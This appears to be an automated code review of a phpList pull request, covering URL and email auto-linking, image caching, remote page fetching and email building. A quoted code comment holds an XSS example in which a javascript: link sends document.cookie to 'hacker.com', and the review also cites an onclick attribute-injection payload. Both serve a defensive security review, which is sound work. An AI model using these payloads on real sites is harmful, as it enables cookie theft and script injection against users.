| if (!preg_match('/^(http:)|(mailto:)|(ftp:)|(https:)/i', $url)) { | ||
| // avoid this | ||
| //<a href="javascript:window.open('http://hacker.com?cookie='+document.cookie)"> | ||
| $url = preg_replace('/:/', '', $url); | ||
| } |
There was a problem hiding this comment.
Removing all colons breaks legitimate URLs.
Line 26 strips every colon from the URL, which corrupts:
- Port numbers:
example.com:8080becomesexample.com8080 - Query parameters:
?time=12:30becomes?time1230 - IPv6 addresses:
[::1]becomes[]
Instead of removing colons, consider rejecting the URL entirely or prepending a safe default scheme like http://.
🔎 Safer approach: reject or default to http://
if (!preg_match('/^(http:)|(mailto:)|(ftp:)|(https:)/i', $url)) {
- // avoid this
- //<a href="javascript:window.open('http://hacker.com?cookie='+document.cookie)">
- $url = preg_replace('/:/', '', $url);
+ // Default to http:// for relative or protocol-less URLs
+ $url = 'http://' . $url;
}📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| if (!preg_match('/^(http:)|(mailto:)|(ftp:)|(https:)/i', $url)) { | |
| // avoid this | |
| //<a href="javascript:window.open('http://hacker.com?cookie='+document.cookie)"> | |
| $url = preg_replace('/:/', '', $url); | |
| } | |
| if (!preg_match('/^(http:)|(mailto:)|(ftp:)|(https:)/i', $url)) { | |
| // Default to http:// for relative or protocol-less URLs | |
| $url = 'http://' . $url; | |
| } |
🤖 Prompt for AI Agents
In src/Domain/Common/TextParser.php around lines 23 to 27, the current code
strips every colon from URLs which corrupts valid URLs (ports, times, IPv6);
instead of removing colons, change the logic to either reject the URL when it
doesn't start with an allowed scheme or prepend a safe default scheme (e.g.,
"http://") before further processing; do not use preg_replace to remove ':' —
validate the scheme with the regex, and if missing, either return/flag the URL
as invalid or safely prepend "http://" and proceed.
| //<a href="javascript:window.open('http://hacker.com?cookie='+document.cookie)"> | ||
| $url = preg_replace('/:/', '', $url); | ||
| } | ||
| $link[$index] = '<a href="' . $url . '" ' . $rest . '>' . $matches[4] . '</a>'; |
There was a problem hiding this comment.
Unsafe URL interpolation enables attribute injection.
Directly concatenating $url, $rest, and $matches[4] without HTML-escaping allows an attacker to inject attributes or break out of the href. For example, a crafted anchor with href="\" onclick=\"alert(1)\"" would execute script.
Escape or validate these values before building the tag.
🔎 Escape dynamic content
- $link[$index] = '<a href="' . $url . '" ' . $rest . '>' . $matches[4] . '</a>';
+ $link[$index] = '<a href="' . htmlspecialchars($url, ENT_QUOTES, 'UTF-8') . '" ' . $rest . '>' . htmlspecialchars($matches[4], ENT_QUOTES, 'UTF-8') . '</a>';Note: $rest (the attributes between href and >) is harder to sanitize safely. Consider parsing it properly or restricting which attributes are allowed.
📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| $link[$index] = '<a href="' . $url . '" ' . $rest . '>' . $matches[4] . '</a>'; | |
| $link[$index] = '<a href="' . htmlspecialchars($url, ENT_QUOTES, 'UTF-8') . '" ' . $rest . '>' . htmlspecialchars($matches[4], ENT_QUOTES, 'UTF-8') . '</a>'; |
🤖 Prompt for AI Agents
In src/Domain/Common/TextParser.php around line 28, the code concatenates $url,
$rest, and $matches[4] directly into an <a> tag which allows attribute
injection; escape and validate each dynamic piece instead of raw concatenation:
HTML-escape the link text ($matches[4]) and attribute values with
htmlspecialchars(…, ENT_QUOTES, 'UTF-8'); validate/sanitize $url by parsing it
(parse_url) and allowing only safe schemes (http, https, mailto) or
prefix/normalize data URIs as required; do not include raw $rest — instead parse
$rest into attributes and whitelist allowed attributes (e.g., rel, target) and
escape their values before reconstruction, or drop $rest entirely if unknown;
then build the anchor by safely-escaped href and validated, escaped attributes.
| $text = preg_replace( | ||
| '/(https?:\/\/)(?!www)([a-zA-Z0-9\.\/#~:?+=&%@!_\\-]+)/i', | ||
| '<a href="\\1\\2" class="url" target="_blank">\\2</a>', | ||
| $text | ||
| ); | ||
| //eg -- http://www.google.com -> <a href"http://www.google.com" target="_blank">www.google.com</a> | ||
| $text = preg_replace( | ||
| '/(https?:\/\/)(www\.)([a-zA-Z0-9\.\/#~:?+=&%@!\\-_]+)/i', | ||
| '<a href="\\1\\2\\3" class="url" target="_blank">\\2\\3</a>', | ||
| $text | ||
| ); |
There was a problem hiding this comment.
URL auto-linking lacks HTML escaping.
Lines 40-42 and 46-48 insert matched URL components directly into href and link text without escaping. If the URL contains special characters like " or <, it could break out of the attribute or inject markup.
Apply htmlspecialchars() to matched groups before concatenating them into the anchor tags.
🤖 Prompt for AI Agents
In src/Domain/Common/TextParser.php around lines 39 to 49, the regex
replacements inject raw matched URL groups into href and link text which can
allow special characters to break attributes or inject markup; update the
replacement flow to HTML-escape the matched components before building the <a>
tag (apply htmlspecialchars or equivalent to the protocol, host/prefix and path
groups) and then use the escaped values when constructing both the href
attribute and the anchor text so quotes and angle brackets are safe.
| $processed->textContent = $this->userPersonalizer->personalize( | ||
| $processed->textContent, | ||
| $subscriber->getEmail(), | ||
| ); | ||
| $processed->footer = $this->userPersonalizer->personalize($processed->footer, $subscriber->getEmail()); |
There was a problem hiding this comment.
Null footer may cause TypeError in personalize.
MessagePrecacheDto::footer is ?string, but per the past review context, UserPersonalizer::personalize() expects a non-nullable string $value parameter. If footer is null, this will throw a TypeError.
- $processed->footer = $this->userPersonalizer->personalize($processed->footer, $subscriber->getEmail());
+ $processed->footer = $this->userPersonalizer->personalize($processed->footer ?? '', $subscriber->getEmail());🤖 Prompt for AI Agents
In src/Domain/Messaging/MessageHandler/CampaignProcessorMessageHandler.php
around lines 209 to 213, MessagePrecacheDto::footer is nullable but
UserPersonalizer::personalize() requires a non-null string; avoid calling
personalize with null by checking if $processed->footer is not null before
calling personalize (or pass an explicit non-null default like '' if business
logic allows), e.g. conditionally call personalize and leave footer as null
otherwise so no TypeError is thrown.
There was a problem hiding this comment.
Actionable comments posted: 2
♻️ Duplicate comments (20)
src/Domain/Common/TextParser.php (4)
12-16: Email regex still permits invalid formats.The pattern allows addresses starting with dots, underscores, or hyphens (e.g.,
.user@domain), which isn't RFC-compliant. Tighten the regex to require alphanumeric starts and consider escaping matched content before HTML insertion.
23-27: Colon-stripping still corrupts valid URLs.Removing all colons breaks port numbers (
example.com:8080), query times, and IPv6 addresses. Consider defaulting tohttp://or rejecting non-standard schemes instead.
28-28: Unsafe concatenation still enables attribute injection.Direct interpolation of
$url,$rest, and$matches[4]without escaping allows attackers to break out ofhrefor inject script-bearing attributes.
39-49: URL auto-linking still lacks HTML escaping.Matched URL components are inserted directly into
hrefand link text. Special characters like"or<could break attributes or inject markup.src/Domain/Messaging/Service/Manager/TemplateImageManager.php (3)
159-159: Domain layer must not perform persistence operations.Line 159 calls
templateImageRepository->persist($templateImage). This is a persistence operation in the domain layer. Per coding guidelines, the domain method should return the created TemplateImage (or remain void) and let the Application layer handle persistence.As per coding guidelines, domain layer should not use
$repository->persist(...)for non-DynamicListAttr entities.
226-226: Domain layer must not perform persistence operations.Line 226 calls
templateImageRepository->remove($orgLogoImage). This is a persistence operation in the domain layer. Per coding guidelines, remove this side effect and handle removal in the Application layer.As per coding guidelines, domain layer should not use
$repository->remove(...)for non-DynamicListAttr entities.
229-236: Output buffer handling remains fragile and leaky.The buffer capture sequence (line 230) captures content before
ob_start()is called (line 232), then echoes the old buffer after capturing image data (line 236). This can corrupt output and cause unexpected side effects.🔎 Recommended fix using ob_get_clean()
if ($orgLogoImage !== null) { $this->templateImageRepository->remove($orgLogoImage); } - //# rather convoluted way to get the image contents - $buffer = ob_get_contents(); - ob_end_clean(); ob_start(); imagepng($resized); - $imageContent = ob_get_contents(); - ob_end_clean(); - echo $buffer; + $imageContent = ob_get_clean(); } return $imageContent;src/Domain/Common/ExternalImageService.php (5)
64-70: Missing null check and error marker issues.Two issues already flagged in previous reviews remain unaddressed:
- Line 68:
strlen()is called on$cacheFileContentwithout checking if it's null first (after both download methods could return null).- Line 69: Writing the literal string
'MAX_SIZE'into the cache file creates a corrupted cache entry that will be served as valid image data.
108-115: Path traversal vulnerability in filename sanitization.The regex-based sanitization is insufficient to prevent path traversal attacks. An attacker could craft URLs that, after sanitization, still contain relative path components. This issue was previously flagged.
128-128: SSL peer verification disabled.Setting
CURLOPT_SSL_VERIFYPEERtofalsedisables certificate validation, making downloads vulnerable to MITM attacks. This security risk was flagged in a previous review.
138-143: Error markers still written to cache.Lines 139 and 142 write error strings (
'CURL_ERROR_X'and'HTTP_CODE_X') into$cacheFileContent, which then gets written to the cache file and could be served as image data. This was flagged previously (marked as addressed in commit 4a9e895, but the code still shows the issue).
149-165: Error marker written to cache on failure.Line 161 writes the literal string
'FGC_ERROR'instead of returning null or throwing an exception. This corrupts the cache file. This issue was flagged in a previous review.src/Domain/Common/RemotePageFetcher.php (3)
48-59: Caching logic has a potential issue with redundant query.The second call to
findByUrlAndLastModified($url, $lastModified)at line 52 with$lastModified = time()is querying for cache entries with that exact timestamp - which you just set. This will almost never return a result since cache entries use previous timestamps when created. The logic flow seems confusing - the first check (lines 42-46) handles fresh cache, but this second check appears redundant.Consider if this second DB lookup is necessary, or if the fresh-cache check at lines 42-46 is sufficient.
65-70: Domain layer should not call EntityManager::remove() directly.Line 67 calls
$this->entityManager->remove($cache)which violates domain purity per coding guidelines. Thesrc/Domain/**path should not perform persistence side effects. Consider moving cache purge logic toUrlCacheRepositoryor the Infrastructure layer.🔎 Suggested refactor
- $caches = $this->urlCacheRepository->getByUrl($url); - foreach ($caches as $cache) { - $this->entityManager->remove($cache); - } + $this->urlCacheRepository->deleteByUrl($url); $urlCache = (new UrlCache())->setUrl($url)->setContent($content)->setLastModified($lastModified); $this->urlCacheRepository->persist($urlCache);Based on coding guidelines, Domain services should not perform persistence operations.
116-121: Encoding conversion applied on each iteration corrupts URL.Line 119 converts
$urlfrom UTF-8 to ISO-8859-1 on every loop iteration without converting back. After multiple substitutions, the URL will be progressively corrupted.🔎 Suggested fix – remove unnecessary conversion
foreach ($userData as $key => $val) { if ($key !== 'password') { $url = str_replace('[' . $key . ']', rawurlencode($val), $url); - $url = mb_convert_encoding($url, 'ISO-8859-1', 'UTF-8'); } }src/Domain/Messaging/Service/Builder/EmailBuilder.php (4)
129-143: Dev mode with no devEmail leaves destinationEmail empty.If
devVersionis true butdevEmailis null, line 131 initializes$destinationEmail = ''and line 136 is skipped. The email will be sent to an empty address, which will likely fail or behave unexpectedly.🔎 Suggested fix
private function resolveDestinationEmailAndMessage(?string $to, ?string $message): array { - $destinationEmail = ''; - if ($this->devVersion) { $message = 'To: ' . $to . PHP_EOL . $message; - if ($this->devEmail) { - $destinationEmail = $this->devEmail; - } + $destinationEmail = $this->devEmail ?? $to; } else { $destinationEmail = $to; } return [$destinationEmail, $message]; }
196-206: Embedded images not attached to email; redundant text assignments.Line 199 invokes
templateImageEmbedderbut discards the return value (which contains CID-rewritten HTML). The email still uses the original$htmlMessagewithout embedded image references. Also,$email->text($textMessage)is called three times (lines 198, 203, 205) - only the last call has any effect.🔎 Proposed fix
private function applyContentAndFormatting(Email $email, $htmlMessage, $textMessage, int $messageId): void { $newWrap = $this->configProvider->getValue(ConfigOption::WordWrap); if ($newWrap) { $textMessage = wordwrap($textMessage, (int)$newWrap); } if (!empty($htmlMessage)) { - $email->html($htmlMessage); - $email->text($textMessage); - ($this->templateImageEmbedder)(html: $htmlMessage, messageId: $messageId); - //# In the above phpMailer strips all tags, which removes the links - // which are wrapped in < and > by HTML2text - //# so add it again - $email->text($textMessage); + $embeddedHtml = ($this->templateImageEmbedder)(html: $htmlMessage, messageId: $messageId); + $email->html($embeddedHtml); } - $email->text($textMessage); + $email->text($textMessage); }
104-127: Subscriber marked blacklisted but change not persisted.Line 115 calls
$subscriber->setBlacklisted(true)but there's noflush()orpersist(). The change won't be saved to the database. Per domain purity guidelines, persistence should be handled by the calling layer - but this needs to be documented or signaled to callers.
177-179: Unreachable "X-Originally to" header logic.Line 177 checks
$this->devEmail && $destinationEmail !== $this->devEmail, butcreateBaseEmailreceives$destinationEmailwhich was already set to$this->devEmailinresolveDestinationEmailAndMessagewhen dev mode is active. This condition is always false when it matters, so the header is never added.src/Domain/Messaging/MessageHandler/CampaignProcessorMessageHandler.php (1)
209-213: Null footer may cause TypeError in personalize.
MessagePrecacheDto::footeris?string, butUserPersonalizer::personalize()expects a non-nullablestringparameter. Iffooteris null, this will throw a TypeError.🔎 Suggested fix
- $processed->footer = $this->userPersonalizer->personalize($processed->footer, $subscriber->getEmail()); + $processed->footer = $this->userPersonalizer->personalize($processed->footer ?? '', $subscriber->getEmail());
🧹 Nitpick comments (8)
src/Domain/Common/TextParser.php (2)
58-61: Consider escaping$replacementin the regex replacement.Line 60 uses
$replacementdirectly inpreg_replace. If$replacementcontains$or\, it could be interpreted as backreferences. Usepreg_quoteor simpler string replacement logic.🔎 Safer approach using str_replace
- for ($j = 0; $j < $index; ++$j) { - $replacement = $link[$j]; - $text = preg_replace('/\%\%' . $j . '\%\%/', $replacement, $text); - } + for ($j = 0; $j < $index; ++$j) { + $text = str_replace('%%' . $j . '%%', $link[$j], $text); + }
67-83: Placeholder approach for special characters is functional but fragile.Using HTML comment placeholders like
<!--LB-->works but could collide if input already contains those strings. Consider a more robust escaping strategy or use a unique prefix less likely to appear in user content.src/Domain/Messaging/Service/Manager/TemplateImageManager.php (1)
195-197: Consider stronger type hints for helper parameters.Parameters
$newWidth,$newHeight, and$sizeFactorusemixedtype hints, weakening type safety. Based on the usage incalculateDimensions(lines 186-187), these should beintfor width/height andfloatfor sizeFactor.🔎 Proposed fix
private function resizeImageIfNecessary( string $imageContent, array $imgSize, - mixed $newWidth, - mixed $newHeight, - mixed $sizeFactor, + int $newWidth, + int $newHeight, + float $sizeFactor, ?TemplateImage $orgLogoImage ): string {src/Domain/Common/ExternalImageService.php (4)
43-43: Add type hints to parameters.The
$filenameand$messageIdparameters lack type declarations, which reduces type safety and IDE support.🔎 Proposed fix
- public function cache($filename, $messageId): bool + public function cache(string $filename, int $messageId): bool
167-167: Add type hint to parameter.The
$filenameparameter lacks a type declaration.🔎 Proposed fix
- private function isCacheableUrl($filename): bool + private function isCacheableUrl(string $filename): bool
203-203: Add type hint to parameter.The
$contentparameter lacks a type declaration.🔎 Proposed fix
- private function writeCacheFile(string $cacheFileName, $content): void + private function writeCacheFile(string $cacheFileName, string $content): void
93-93: TODO comment: Verify hidden file handling.The comment indicates uncertainty about skipping files starting with
.. This logic typically excludes hidden files and directory entries (.and..), which is correct for cache cleanup.Do you want me to confirm this logic is appropriate, or would you like me to open an issue to track this verification?
tests/Unit/Domain/Common/RemotePageFetcherTest.php (1)
109-113: Test expectation may be fragile due to implementation coupling.The test expects
findByUrlAndLastModifiedto be calledatLeast(2)times with alogicalOrmatcher. This couples the test tightly to the current implementation's redundant cache lookup behavior (which was flagged as potentially problematic in the main file). If the implementation is simplified to remove the redundant query, this test will break.Consider testing the observable behavior (content is fetched and cached) rather than the exact number of repository calls.
📜 Review details
Configuration used: Path: .coderabbit.yaml
Review profile: CHILL
Plan: Pro
📒 Files selected for processing (13)
config/PhpCodeSniffer/ruleset.xmlconfig/parameters.yml.distresources/translations/messages.en.xlfsrc/Domain/Common/ExternalImageService.phpsrc/Domain/Common/RemotePageFetcher.phpsrc/Domain/Common/TextParser.phpsrc/Domain/Messaging/MessageHandler/CampaignProcessorMessageHandler.phpsrc/Domain/Messaging/Model/Dto/MessagePrecacheDto.phpsrc/Domain/Messaging/Service/Builder/EmailBuilder.phpsrc/Domain/Messaging/Service/Manager/TemplateImageManager.phpsrc/Domain/Messaging/Service/MessageDataLoader.phpsrc/Domain/Messaging/Service/RateLimitedCampaignMailer.phptests/Unit/Domain/Common/RemotePageFetcherTest.php
🚧 Files skipped from review as they are similar to previous changes (3)
- src/Domain/Messaging/Service/RateLimitedCampaignMailer.php
- config/parameters.yml.dist
- resources/translations/messages.en.xlf
🧰 Additional context used
📓 Path-based instructions (2)
src/Domain/**
⚙️ CodeRabbit configuration file
src/Domain/**: You are reviewing PHP domain-layer code. Enforce domain purity, with a relaxed policy for DynamicListAttr:
❌ Do not allow persistence or transaction side effects here for normal domain models.
Flag ANY usage of Doctrine persistence APIs on regular domain entities, especially:
$entityManager->flush(...),$this->entityManager->flush(...)$em->persist(...),$em->remove(...)$em->beginTransaction(),$em->commit(),$em->rollback()✅ Accessing Doctrine metadata, schema manager, or read-only schema info is acceptable
as long as it does not modify state or perform writes.✅ Relaxed rule for DynamicListAttr-related code:
- DynamicListAttr is a special case dealing with dynamic tables/attrs.
- It is acceptable for DynamicListAttr repositories/services to:
- Create/update/drop DynamicListAttr tables/columns.
- Use Doctrine persistence APIs (
persist,remove,flush, etc.)
as part of managing DynamicListAttr data and schema.- Do not flag persistence or schema-creation calls that are clearly scoped
to DynamicListAttr tables or their management.- Still prefer keeping this logic well-encapsulated (e.g. in dedicated services/repos),
not scattered across unrelated domain objects.
⚠️ For non-DynamicListAttr code:
- If code is invoking actual table-creation, DDL execution, or schema synchronization,
then request moving that to the Infrastructure or Application layer (e.g. MessageHandler).- Repositories in Domain should be abstractions without side effects; they should express intent,
not perform flush/transactional logic.
Files:
src/Domain/Common/TextParser.phpsrc/Domain/Messaging/Service/MessageDataLoader.phpsrc/Domain/Common/ExternalImageService.phpsrc/Domain/Messaging/Service/Builder/EmailBuilder.phpsrc/Domain/Common/RemotePageFetcher.phpsrc/Domain/Messaging/Model/Dto/MessagePrecacheDto.phpsrc/Domain/Messaging/MessageHandler/CampaignProcessorMessageHandler.phpsrc/Domain/Messaging/Service/Manager/TemplateImageManager.php
src/**/MessageHandler/**
⚙️ CodeRabbit configuration file
src/**/MessageHandler/**: Background jobs/workers may perform persistence and schema management.
- ✅ Allow
$entityManager->flush()when the job is the orchestration boundary.- ✅ Allow table creation, migration, or schema synchronization (e.g. via Doctrine SchemaTool or SchemaManager),
as this is considered infrastructure-level orchestration.- For DynamicListAttr-related jobs, it is fine to orchestrate both data and schema changes here,
as long as responsibilities remain clear and behavior is predictable.- Verify idempotency for schema operations where practical — e.g., check if a table exists before creating.
- Ensure domain-layer code invoked by the job (outside the DynamicListAttr exception) remains free of persistence calls.
- Batch flush operations where practical.
Files:
src/Domain/Messaging/MessageHandler/CampaignProcessorMessageHandler.php
🧬 Code graph analysis (3)
src/Domain/Common/ExternalImageService.php (1)
src/Domain/Configuration/Service/Provider/ConfigProvider.php (1)
ConfigProvider(12-82)
src/Domain/Messaging/MessageHandler/CampaignProcessorMessageHandler.php (7)
src/Domain/Messaging/Exception/MessageCacheMissingException.php (1)
MessageCacheMissingException(9-15)src/Domain/Messaging/Model/Dto/MessagePrecacheDto.php (1)
MessagePrecacheDto(8-31)src/Domain/Messaging/Service/Builder/EmailBuilder.php (2)
EmailBuilder(20-207)buildPhplistEmail(39-76)src/Domain/Messaging/Service/MessageDataLoader.php (1)
MessageDataLoader(14-235)src/Domain/Messaging/Service/RateLimitedCampaignMailer.php (3)
RateLimitedCampaignMailer(14-56)composeEmail(24-45)send(50-55)src/Domain/Messaging/Service/MessagePrecacheService.php (1)
precacheMessage(48-102)src/Domain/Messaging/Service/MessageProcessingPreparator.php (1)
processMessageLinks(61-89)
src/Domain/Messaging/Service/Manager/TemplateImageManager.php (2)
src/Domain/Configuration/Service/Provider/ConfigProvider.php (1)
ConfigProvider(12-82)src/Domain/Messaging/Repository/TemplateImageRepository.php (3)
TemplateImageRepository(12-46)findByFilename(16-24)findById(26-34)
🪛 GitHub Actions: phpList Core Build
src/Domain/Messaging/Service/MessageDataLoader.php
[error] 20-20: PhpList\Core\Domain\Messaging\Service\MessageDataLoader::__construct(): Argument #4 ($logger) not passed
🔇 Additional comments (15)
src/Domain/Common/TextParser.php (1)
18-18: Good fix –$linkis now initialized.This resolves the undefined variable issue when no anchors are present.
config/PhpCodeSniffer/ruleset.xml (1)
106-110: The configuration is correct. TheignoreNewlinesproperty is a valid, documented option forSquiz.WhiteSpace.OperatorSpacingthat allows newlines before and after operators when set totrue.src/Domain/Common/RemotePageFetcher.php (1)
81-93: LGTM on HTTP client configuration.The HTTP request options (
max_redirectsandtimeout) now use correct Symfony HttpClient syntax. Past issues with invalid options have been addressed.tests/Unit/Domain/Common/RemotePageFetcherTest.php (2)
56-74: LGTM - PSR cache hit test.Clean test that verifies the in-memory cache path works correctly and short-circuits repository/HTTP calls.
150-168: LGTM - HTTP failure handling test.Good coverage ensuring that on HTTP failure, no cache is set and empty string is returned.
src/Domain/Messaging/Service/Builder/EmailBuilder.php (1)
78-102: LGTM - Input validation.Good validation of recipient and subject, including null checks and newline detection for header injection prevention.
src/Domain/Messaging/Model/Dto/MessagePrecacheDto.php (1)
7-31: LGTM - DTO structure is clean.All properties now have sensible defaults, preventing uninitialized property errors. The mix of nullable and non-nullable types with defaults is appropriate for a DTO that gets progressively populated.
src/Domain/Messaging/MessageHandler/CampaignProcessorMessageHandler.php (4)
360-364: LGTM - Cache miss handling.Good null check for the cached DTO with proper exception throwing when cache is missing.
291-331: LGTM - Admin notification handling.Clean implementation with proper null check for
buildPhplistEmailresult, correct Symfony translator placeholder syntax, and graceful handling of duplicate constraint violations when persisting the notification flag.
166-173: LGTM - Status update with SendStart timestamp.Good addition of SendStart timestamp when transitioning to InProcess status. Persistence in MessageHandler is allowed per coding guidelines.
334-368: LGTM - Subscriber processing loop.Well-structured loop with time limiting, existing message check, email validation, and proper cache retrieval with null handling.
src/Domain/Messaging/Service/MessageDataLoader.php (4)
114-136: LGTM - Secure deserialization with proper error handling.Good implementation with
allowed_classes: falseto prevent object injection,is_array()validation, and graceful handling of corrupted data with logging.
48-59: LGTM - Date array helper.Clean implementation with null-coalescing to avoid PHP 8.1+ deprecation warnings when passing null to
date().
170-209: LGTM - From field normalization.Comprehensive parsing of the from field with proper fallbacks, sanitization of email/name components, and handling of edge cases like empty names and double spaces.
61-100: LGTM - Default message data structure.Well-organized default values with config provider integration for template, footer, and notification settings.
| $image->setData(null); | ||
|
|
||
| $this->entityManager->persist($image); | ||
| $this->templateImageRepository->persist($image); |
There was a problem hiding this comment.
Domain layer must not perform persistence operations.
Line 45 calls templateImageRepository->persist($image). Per the coding guidelines, domain services should not invoke persistence APIs on regular entities. Move this side effect to an Application layer service or MessageHandler. The domain method can return the array of TemplateImage entities to be persisted by the caller.
As per coding guidelines, domain layer should not use $repository->persist(...) for non-DynamicListAttr entities.
🤖 Prompt for AI Agents
In src/Domain/Messaging/Service/Manager/TemplateImageManager.php around line 45,
remove the direct call to $this->templateImageRepository->persist($image)
because the domain layer must not perform persistence; instead change the domain
method to collect and return the TemplateImage entity (or an array of entities)
to the caller and delete the side-effecting persist call; then update the
Application layer service or MessageHandler that invokes this domain method to
receive those TemplateImage entities and perform persistence there via the
repository (keeping persist only for DynamicListAttr where allowed).
There was a problem hiding this comment.
Actionable comments posted: 3
♻️ Duplicate comments (6)
src/Domain/Common/ExternalImageService.php (5)
64-70: Null check needed before strlen, and avoid writing error markers to cache.Line 68 calls
strlen($cacheFileContent)without checking if download returned null, which will cause a TypeError. Additionally, writing'MAX_SIZE'to the cache (line 69) creates a corrupt cache file that will pass validation and be returned as "image content" later.🔎 Proposed fix
if ($cacheFileContent === null) { $cacheFileContent = $this->downloadUsingFileGetContent($filename); } + if ($cacheFileContent === null) { + $this->logger->warning('Failed to download external image', ['url' => $filename]); + return false; + } + if ($this->externalImageMaxSize && (strlen($cacheFileContent) > $this->externalImageMaxSize)) { - $cacheFileContent = 'MAX_SIZE'; + $this->logger->warning('External image exceeds max size', [ + 'url' => $filename, + 'size' => strlen($cacheFileContent), + 'max' => $this->externalImageMaxSize, + ]); + return false; } $this->writeCacheFile($cacheFileName, $cacheFileContent);
108-115: Strengthen filename sanitization against path traversal.The current regex pattern doesn't fully prevent path traversal attacks. For example,
../components separated by slashes might not be fully neutralized. Usingbasename()on the URL path would be more robust.🔎 Proposed fix
private function generateLocalFileName(string $filename, int $messageId): string { - return $this->externalCacheDir - . '/' - . $messageId - . '_' - . preg_replace([ '~[\.][\.]+~Ui', '~[^\w\.]~Ui',], ['', '_'], $filename); + $path = parse_url($filename, PHP_URL_PATH) ?: $filename; + $sanitized = preg_replace('~[^\w\.-]~', '_', basename($path)); + return $this->externalCacheDir . '/' . $messageId . '_' . $sanitized; }
128-128: SSL peer verification is disabled, creating a security risk.
CURLOPT_SSL_VERIFYPEER => falsedisables certificate validation, making connections vulnerable to MITM attacks. Consider enabling verification by default or making it configurable with a security warning.
138-143: Error marker strings are still written to cache.Lines 139 and 142 assign error strings like
'CURL_ERROR_7'to$cacheFileContent, which will be written to the cache file and potentially served as image data. Past review indicated this was addressed, but the code still contains these assignments. Returnnullinstead and skip caching on error.🔎 Proposed fix
if ($cURLErrNo != 0) { - $cacheFileContent = 'CURL_ERROR_' . $cURLErrNo; + $this->logger->error('cURL error downloading image', [ + 'url' => $filename, + 'errno' => $cURLErrNo, + ]); + return null; } if ($cURLInfo['http_code'] >= 400) { - $cacheFileContent = 'HTTP_CODE_' . $cURLInfo['http_code']; + $this->logger->error('HTTP error downloading image', [ + 'url' => $filename, + 'http_code' => $cURLInfo['http_code'], + ]); + return null; }
149-165: Return null instead of error marker string, and fix return type.Line 161 assigns
'FGC_ERROR'which will corrupt the cache. Additionally, the return type isstring(line 149) but should be?stringto matchdownloadUsingCurland allow returning null on failure.🔎 Proposed fix
- private function downloadUsingFileGetContent(string $filename): string + private function downloadUsingFileGetContent(string $filename): ?string { $remoteURLContext = stream_context_create([ 'http' => [ 'method' => 'GET', 'timeout' => $this->externalImageTimeout, 'max_redirects' => '10', ] ]); $cacheFileContent = file_get_contents($filename, false, $remoteURLContext); if ($cacheFileContent === false) { - $cacheFileContent = 'FGC_ERROR'; + $this->logger->error('file_get_contents error downloading image', ['url' => $filename]); + return null; } return $cacheFileContent; }src/Domain/Messaging/Service/Builder/EmailBuilder.php (1)
177-179: X-Originally to header logic is unreachable.The condition
$destinationEmail !== $this->devEmailis always false in dev mode because line 139 sets$destinationEmail = $this->devEmail. The original$toparameter should be captured before the dev override and used in the header check instead.🔎 Proposed fix
In
buildPhplistEmail, capture the original recipient before callingresolveDestinationEmailAndMessage:+ $originalTo = $to; [$destinationEmail, $message] = $this->resolveDestinationEmailAndMessage($to, $message);Then in
createBaseEmail, update the header check:- if ($this->devEmail && $destinationEmail !== $this->devEmail) { - $email->getHeaders()->addTextHeader('X-Originally to', $destinationEmail); + if ($this->devVersion && $this->devEmail && $originalTo !== $destinationEmail) { + $email->getHeaders()->addTextHeader('X-Originally to', $originalTo); }
🧹 Nitpick comments (4)
src/Domain/Common/RemotePageFetcher.php (1)
81-93: Consider logging exceptions before returning empty string.The catch block silently swallows all exceptions (line 90-91), which makes debugging fetch failures difficult. Consider logging the exception at debug level before returning the empty string.
🔎 Suggested enhancement
private function fetchUrlDirect(string $url): string { try { $response = $this->httpClient->request('GET', $url, [ 'max_redirects' => 5, 'timeout' => 10, ]); return $response->getContent(false); } catch (Throwable $e) { + // Log for debugging: $this->logger->debug('Failed to fetch URL: ' . $url, ['exception' => $e]); return ''; } }tests/Unit/Domain/Common/TextParserTest.php (1)
10-69: Consider adding edge case tests.The current tests cover the happy paths well, but consider adding tests for:
- Existing HTML anchors in input - The implementation mentions handling existing anchors with placeholders. Testing this would prevent double-wrapping bugs.
- Mixed content - Text containing both emails and URLs together would test real-world usage.
- Invalid URL schemes - The implementation removes the first colon for non-http/https/ftp/mailto schemes; worth verifying this behavior.
- Multiple URLs/emails - Test that multiple URLs or emails in the same string are all properly converted.
These would strengthen confidence in the parser's robustness.
tests/Unit/Domain/Messaging/Service/MessageDataLoaderTest.php (1)
74-80: Consider using a proper mock instead of an anonymous class.The anonymous class works but is a bit unconventional for unit tests. A mock object would be more idiomatic and provide better type safety and IDE support.
🔎 Alternative approach
$listMessage = $this->createMock(\PhpList\Core\Domain\Messaging\Model\ListMessage::class); $listMessage->method('getListId')->willReturn(42); $message->method('getListMessages')->willReturn( new ArrayCollection([$listMessage]) );src/Domain/Messaging/Service/Builder/EmailBuilder.php (1)
196-206: Text is set redundantly three times.Lines 198, 203, and 205 all set the text body. The comment on lines 200-202 explains line 203, but line 205 appears unnecessary. Consider consolidating to avoid confusion.
🔎 Suggested simplification
if (!empty($htmlMessage)) { $email->html($htmlMessage); - $email->text($textMessage); ($this->templateImageEmbedder)(html: $htmlMessage, messageId: $messageId); //# In the above phpMailer strips all tags, which removes the links // which are wrapped in < and > by HTML2text //# so add it again $email->text($textMessage); } - $email->text($textMessage); + if (empty($htmlMessage)) { + $email->text($textMessage); + }
📜 Review details
Configuration used: Path: .coderabbit.yaml
Review profile: CHILL
Plan: Pro
📒 Files selected for processing (8)
src/Domain/Common/ExternalImageService.phpsrc/Domain/Common/RemotePageFetcher.phpsrc/Domain/Common/TextParser.phpsrc/Domain/Messaging/Exception/DevEmailNotConfiguredException.phpsrc/Domain/Messaging/Model/Dto/MessagePrecacheDto.phpsrc/Domain/Messaging/Service/Builder/EmailBuilder.phptests/Unit/Domain/Common/TextParserTest.phptests/Unit/Domain/Messaging/Service/MessageDataLoaderTest.php
🚧 Files skipped from review as they are similar to previous changes (2)
- src/Domain/Common/TextParser.php
- src/Domain/Messaging/Model/Dto/MessagePrecacheDto.php
🧰 Additional context used
📓 Path-based instructions (1)
src/Domain/**
⚙️ CodeRabbit configuration file
src/Domain/**: You are reviewing PHP domain-layer code. Enforce domain purity, with a relaxed policy for DynamicListAttr:
❌ Do not allow persistence or transaction side effects here for normal domain models.
Flag ANY usage of Doctrine persistence APIs on regular domain entities, especially:
